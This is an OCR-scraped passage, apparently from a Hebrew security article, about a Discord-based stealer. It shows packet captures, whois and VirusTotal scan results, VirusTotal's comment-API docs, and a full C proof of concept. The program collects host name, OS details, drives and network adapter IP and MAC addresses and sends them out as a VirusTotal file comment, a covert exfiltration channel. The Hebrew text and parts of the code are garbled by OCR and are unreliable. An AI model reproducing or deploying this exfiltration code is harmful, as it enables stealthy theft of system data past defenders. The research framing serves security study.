31 8.478869 192.168.7.22 iTLSw1.2 358
32 8.471814 192.168.7.22 L. 133, 150. TLSvl. 2 124
33 8.538995 162.159.138.232 192.168.7.22 TCP 68

JNTERNET_DEFAULT_HTTPS_PORT-2 nunnwin NXRY [N "tcp.port == 443" 107'9n1 'wnnwin
:162.159.138.232 Nia'¥n NAINDN NXT ' "N 'O whois-2 wnnwa ,443 KIinw

NetRange: 162.158.0.0 - 162.159.255.255
CIDR: 162.158.0.0/15

NetName: CLOUDFLARENET

NetHandle: NET-162-158-0-0-1

Parent: NET162 (NET-162-0-0-0-0)
NetType: Direct Allocation
OriginAS: AS13335

Organization: Cloudflare, Inc. (CLOUD14)
RegDate: 2013-05-23

T~ ."By default, the DNS over Discord bot uses Cloudflare's 1.1. 1.1 DNS service" - V1I01'RN 197

:Websec Nj?*127 1'wna .Discord APl 7 X' ITN NAIMDNY NN X

Scan Results

Scan ID: 5a@f36ac-8fc@-46e3-bcB7-1742eb964595

discord_stealer.exe [43.5 ks]

SCAN STATUS [IN PROGRESS]

i, SCANNED 39/39 i DETECTED 3

NOTIFY ME WHEN COMPLETE.

yourname@example.org Submit

Antivirus: Adaware Status: ) Clean
Antivirus: Alyac Status: ) Clean
Antivirus: Amiti Status: &) Clean
Antivirus: Arcabit Status: & Clean
Antivirus: Avast Status: ) Clean
Antivirus: Avg Status: & Clean

© Virus Total AN NN MY T21 - NINNRD NNAIT? 1'wna ITIkn no*,139 Jinn 3 71 2w
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?Virus Total Comments Dy yT'n 012 'R TN

Virus Total

[1i7n 7D NI VirusTotal :n1'n 0012w 017xY7 7aN 7w DTIpn nkna 'm1aon Virus Total 7y

NN'WUN DK '™ DN NIMITT NI 7' DN0NY NIZN0 YXA71 DR [IY07 D'YNNWUNYT TWONAN
Y2170 DX 7¢ Nl N2ANN NINMN 790N J221,0'¥270 NIX NN17 'T2 DY 0NY-'VIN 'WIIN WNNun
o1 yTni 0" IT N'MI0o'n ,URL NIAIMD NINYY 22 0a 790n VirusTotal .0"7x'¥1019 D'MI'R 700
2V |A07 D'M'RNNN DFTYNA V71 I2'0N IR )"WN7 D'YNNWNY TWOXRNY NN 010N DAI'R 7Y

.0N7¥ NPYNN

ID"72un INIXY YaI?'7 comments 9'0IN7 TWON N'XLVINIZITN 'O7W NT,|"IVNY NN TN

VT

v3.0 v @ Home 7 Guides <> API Reference

Files

Upload a file

a

Add a comment to a file

Get a URL for uploading large files
3 e @ https://www.virustotal.com/api/v3/files/{id}/comments

Get a file report

7]
o)

Request a file rescan (re-analyze) With this endpoint you can post a comment for a given file. The body for the

GetalfilesdownloadltIRE POST request must be the JSON representation of a comment object.

Download a file

a

Notice however that you don't need to provide an ID for the object, as they

Get comments on a file are automatically generated for new comments.

AoEmuEiEail Any word starting with # in your comment's text will be considered a tag,

Get objects related to a file and added to the comment's tag attribute.

Get object descriptors related to a

file Returns a Comment object.

Get a crowdsourced Sigma rule

object Example request

Get a crowdsourced YARA ruleset {
"data™: {
"type": "comment”,
"attributes™: {

"text": "Lorem #ipsum dolor sit ..."

Get votes on a file

Add a vote on a file

2

File Behaviours

URL: :
: }

Comments }

,NT 72w ANK7 195N D'IoON YAl 7V NIAIAN DO19Y7 D'71D' 1INIX ,Post NWpA NIV¥NXA i
7> VT APl KEY-I ,(MD5 IX SHA-256 ,SHA-1 7w hash n'n' Kin 775 10T2) yairn 7w ID 07y 1NIX

.Virus Total 7w API-7 nwaY
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https://www.digitalwhisper.co.il/files/Zines/0x96/DW150-4-WinAPI-Hashing.pdf
https://docs.virustotal.com/reference/overview
https://docs.virustotal.com/reference/files-comments-post

NX 7271 1awn X7 ova VT AP KEY 72177 1) WVirus Total-7 0121 - lwXN DY 7'NN) IKIQ

NNoOSNN
Elad ishayho ~ n

API KEY .

Profile
This is your personal key. Do not disclose it to anyone that you do not trust, do not embed it in scripts or softwarg
using your APl key, you are agreeing to our Terms of Service and Privacy Motice, and to the sharing of your Samy APl Key
we are not responsible for the contents of your submissions. Learn more

Settings

@ I—D Sign Qut

TR M yan ,n7vn

<stdio.h>
<stdlib.h>
<string.h>

<windows.h>
<winhttp.h>
<iphlpapi.h>

VT_API_KEY "REPLACE WITH YOUR API KEY"
FILE_ID "REPLACE WITH YOUR FILE ID"

int sendToVT( char* comment) {
HINTERNET hSession = NULL;
HINTERNET hConnect = NULL;
HINTERNET hRequest = NULL;

hSession = WinHttpOpen(L"UserAgent"”, WINHTTP_ACCESS_TYPE_DEFAULT PROXY, WINHTTP_NO_PROXY_ NAME,
WINHTTP_NO_PROXY_BYPASS, ©);
(hSession == NULL) {
fprintf(stderr, "WinHttpOpen. Error: %d has occurred.\n", GetLastError());
1;

hConnect = WinHttpConnect(hSession, L"www.virustotal.com", INTERNET_DEFAULT_HTTPS_PORT, ©);
(hConnect == NULL) {
fprintf(stderr, "WinHttpConnect. Error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle (hSession);
1;

hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/api/v3/files/" FILE_ID "/comments", NULL,
WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
(hRequest == NULL) {
fprintf(stderr, "WinHttpOpenRequest. Error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle (hConnect);
WinHttpCloseHandle (hSession);
1;

char json_body[1024];
snprintf(json_body, (json_body), "{\"data\": {\"type\": \"comment\", \"attributes\":
{\"text\": \"%s\"}}}", comment);
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(!'WinHttpSendRequest(hRequest, L"x-apikey: " VT_API_KEY "\r\nUser-Agent: vt
v.1.0\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/json", -1, (LPVOID)json_body,
strlen(json_body), strlen(json_body), 0)) {

fprintf(stderr, "WinHttpSendRequest. Error %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
1;

BOOL hResponse = WinHttpReceiveResponse(hRequest, NULL);
(!hResponse) {
fprintf(stderr, "WinHttpReceiveResponse. Error %d has occurred.\n", GetLastError());

DWORD code = 0;
DWORD codeS = (code);
(WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_ FLAG_NUMBER,
WINHTTP_HEADER_NAME_BY_ INDEX, &code, &codeS, WINHTTP_NO_ HEADER_INDEX)) {
(code == 200) {
printf("Comment posted successfully.\n");

}

}
{
DWORD error = GetLastError();
LPSTR buffer = NULL;
FormatMessageA(FORMAT MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, error, 0, (LPSTR)&buffer, ©, NULL);
printf("Unknown error: %s\n", buffer);
LocalFree(buffer);

printf("Failed to post comment. HTTP Status Code: %d\n", code);

WinHttpCloseHandle (hConnect);
WinHttpCloseHandle (hRequest);
WinHttpCloseHandle(hSession);

printf("Successfully sent info via VT API :)\n");
9;

main(int argc, char* argv[]) {
char systemInfo[4096];

CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = (hostName) / (hostName[©@]);
GetComputerNameA(hostName, &size);

OSVERSIONINFO osVersion;
osVersion.dwOSVersionInfoSize = (OSVERSIONINFO);
GetVersionEx(&osVersion);

SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);

DWORD drives = GetlLogicalDrives();

IP_ADAPTER_INFO adapterInfo[16];
DWORD adapterInfoSize = (adapterInfo);
(GetAdaptersInfo(adapterInfo, &adapterInfoSize) != ERROR_SUCCESS) {
printf("GetAdaptersInfo failed. Error: %d has occurred.\n", GetLastError());
1;
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snprintf(systemInfo, (systemInfo),
"Host Name: %s, "
"0S Version: %d.%d.%d, "
"Processor Architecture: %d, "
"Number of Processors: %d, "
"Logical Drives: %X, ",
hostName,
osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber,
sysInfo.wProcessorArchitecture,
sysInfo.dwNumberOfProcessors,
drives);

(PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter->Next)
snprintf(systemInfo + strlen(systemInfo), (systemInfo) - strlen(systemInfo),
"Adapter Name: %s, "
"IP Address: %s, '
"Subnet Mask: %s, "
"MAC Address: %02X-%02X-%02X-%02X-%02X-%02X" ,
adapter->AdapterName,
adapter->IpAddressList.IpAddress.String,
adapter->IpAddressList.IpMask.String,
adapter->Address[0], adapter->Address[1], adapter->Address[2],
adapter->Address[3], adapter->Address[4], adapter->Address[5]);

int result = sendToVT(systemInfo);

(result == 0) {
printf("ok =7..7=\n");

printf("nok <3()~\n");

9;
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